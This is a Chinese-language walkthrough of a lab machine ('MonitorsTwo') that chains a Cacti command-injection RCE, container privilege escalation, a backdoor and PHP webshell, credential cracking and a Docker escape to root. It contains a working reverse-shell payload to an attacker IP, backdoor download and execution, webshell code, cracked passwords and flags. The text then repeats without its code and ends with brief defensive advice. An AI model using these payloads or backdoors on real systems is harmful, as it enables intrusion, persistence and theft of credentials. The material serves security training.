[Meachines] [Easy] MonitorsTwo Cacti-RCE+Docker横向移动+capsh权限提升+TRP00F+Tyrant持久化+Docker逃逸Moby权限提升
字数 1084 2025-08-22 12:23:36

Cacti RCE 到 Docker 逃逸完整渗透教学

1. 信息收集阶段

1.1 主机发现与端口扫描

使用以下命令检查目标主机是否在线并扫描开放端口:

ip='10.10.11.211'; 
itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

扫描结果:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu
  • 80/tcp: nginx 1.18.0 (Ubuntu) 运行 Cacti

2. Cacti RCE 漏洞利用 (CVE-2022-46169)

2.1 漏洞验证

使用curl验证漏洞是否存在:

curl -G "http://10.10.11.211/remote_agent.php" \
--data-urlencode "action=polldata" \
--data-urlencode "local_data_ids[0]=6" \
--data-urlencode "host_id=1" \
--data-urlencode "poller_id=%3Bping 10.10.16.28%3B" \
-H "X-Forwarded-For: 127.0.0.1"

2.2 利用漏洞获取反向shell

使用公开的Python利用脚本:
https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit/blob/main/cacti.py

或者手动构造payload:

curl -G "http://10.10.11.211/remote_agent.php" \
--data-urlencode "action=polldata" \
--data-urlencode "local_data_ids[0]=6" \
--data-urlencode "host_id=1" \
--data-urlencode "poller_id=%3Bbash -c 'bash -i >& /dev/tcp/10.10.16.28/4444 0>&1'%3B" \
-H "X-Forwarded-For: 127.0.0.1"

3. Docker容器内权限提升

3.1 检查SUID文件

发现capsh具有SUID权限:

find / -perm -4000 2>/dev/null | grep capsh

3.2 利用capsh提权

/sbin/capsh --gid=0 --uid=0 --

4. 持久化后门部署

4.1 使用Tyrant后门

下载并执行Tyrant后门:

wget http://10.10.16.28/tyrant
chmod +x ./tyrant
./tyrant

4.2 部署Webshell

上传PHP webshell:

<?php
$uid = isset($_GET['uid']) ? escapeshellarg($_GET['uid']) : '';
$rhost = isset($_GET['rhost']) ? escapeshellarg($_GET['rhost']) : '';
$rport = isset($_GET['rport']) ? escapeshellarg($_GET['rport']) : '';
if ($uid && $rhost && $rport) {
    $command = "/tmp/tyrant -uid $uid -rhost $rhost -rport $rport";
    exec($command, $output, $status);
}
?>

通过curl上传:

curl http://10.10.16.28/tyrant.txt > tyrant.php

触发后门:

curl 'http://10.10.11.211/tyrant.php?uid=0&rhost=10.10.16.28&rport=10032'

5. 横向移动

5.1 数据库凭证获取

mysql -h db -u root -proot cacti -e 'select username,password from user_auth;'

5.2 密码破解

将哈希保存到文件:

echo -e '$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC\n$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C' > hash

使用John the Ripper破解:

john hash --wordlist=/usr/share/wordlists/rockyou.txt

发现密码:funkymonkey

5.3 SSH登录

ssh marcus@10.10.11.211

获取user flag:
7abf4f934a50a4d9c3165324c86c548f

6. Docker逃逸与root权限提升

6.1 检查Docker版本

docker --version

确认版本低于20.10.9,存在漏洞

6.2 查找挂载点

findmnt

6.3 容器内检查挂载

mount | grep '/'

6.4 利用Docker逃逸

找到容器在宿主机上的文件系统路径:

/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p

6.5 获取root权限

chmod u+s /bin/bash
/bin/bash -p

获取root flag:
e83ef03926819b6803798da32fcc3b26

7. 关键工具与资源

  1. Cacti RCE利用脚本:

    • https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit
  2. TRP00F提权工具:

    • https://github.com/MartinxMax/trp00f
  3. Tyrant后门工具:

    • https://github.com/MartinxMax/Tyrant
  4. 密码破解字典:

    • rockyou.txt

8. 防御建议

  1. 及时更新Cacti到最新版本
  2. 限制Docker容器权限
  3. 定期审计SUID文件
  4. 监控异常网络连接
  5. 使用强密码策略
  6. 更新Docker到最新版本
Cacti RCE 到 Docker 逃逸完整渗透教学 1. 信息收集阶段 1.1 主机发现与端口扫描 使用以下命令检查目标主机是否在线并扫描开放端口: 扫描结果: 22/tcp: OpenSSH 8.2p1 Ubuntu 80/tcp: nginx 1.18.0 (Ubuntu) 运行 Cacti 2. Cacti RCE 漏洞利用 (CVE-2022-46169) 2.1 漏洞验证 使用curl验证漏洞是否存在: 2.2 利用漏洞获取反向shell 使用公开的Python利用脚本: https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit/blob/main/cacti.py 或者手动构造payload: 3. Docker容器内权限提升 3.1 检查SUID文件 发现 capsh 具有SUID权限: 3.2 利用capsh提权 4. 持久化后门部署 4.1 使用Tyrant后门 下载并执行Tyrant后门: 4.2 部署Webshell 上传PHP webshell: 通过curl上传: 触发后门: 5. 横向移动 5.1 数据库凭证获取 5.2 密码破解 将哈希保存到文件: 使用John the Ripper破解: 发现密码: funkymonkey 5.3 SSH登录 获取user flag: 7abf4f934a50a4d9c3165324c86c548f 6. Docker逃逸与root权限提升 6.1 检查Docker版本 确认版本低于20.10.9,存在漏洞 6.2 查找挂载点 6.3 容器内检查挂载 6.4 利用Docker逃逸 找到容器在宿主机上的文件系统路径: 6.5 获取root权限 获取root flag: e83ef03926819b6803798da32fcc3b26 7. 关键工具与资源 Cacti RCE利用脚本 : https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit TRP00F提权工具 : https://github.com/MartinxMax/trp00f Tyrant后门工具 : https://github.com/MartinxMax/Tyrant 密码破解字典 : rockyou.txt 8. 防御建议 及时更新Cacti到最新版本 限制Docker容器权限 定期审计SUID文件 监控异常网络连接 使用强密码策略 更新Docker到最新版本